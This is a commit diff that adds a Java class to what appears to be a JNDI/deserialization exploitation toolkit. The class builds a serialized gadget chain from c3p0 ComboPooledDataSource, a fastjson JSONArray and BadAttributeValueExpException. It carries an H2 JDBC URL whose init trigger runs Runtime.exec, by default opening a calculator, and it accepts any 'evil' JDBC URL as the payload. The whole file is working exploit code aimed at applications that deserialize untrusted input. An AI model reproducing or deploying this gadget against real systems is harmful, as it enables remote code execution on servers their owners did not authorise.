add 7gadgets (降级groovyt,hibernate适配新gadget)

src/main/java/com/qi4l/jndi/gadgets/C3P0JDBC.java

@@ -0,0 +1,44 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.mchange.v2.c3p0.ComboPooledDataSource;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JDBC implements ObjectPayload<Object> {
+    private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
+            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+            "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
+            "$$\n";
+    @Override
+    public Object getObject(String command) throws Exception {
+
+        if (!command.toLowerCase().startsWith("jdbc:")) {
+            throw new Exception("Command format is: eviljdbcurl");
+        }
+        cmd = command;
+
+        ComboPooledDataSource o = new ComboPooledDataSource();
+        o.setJdbcUrl(cmd);
+        o.setMaxIdleTime(1);
+        o.setMaxPoolSize(1);
+
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}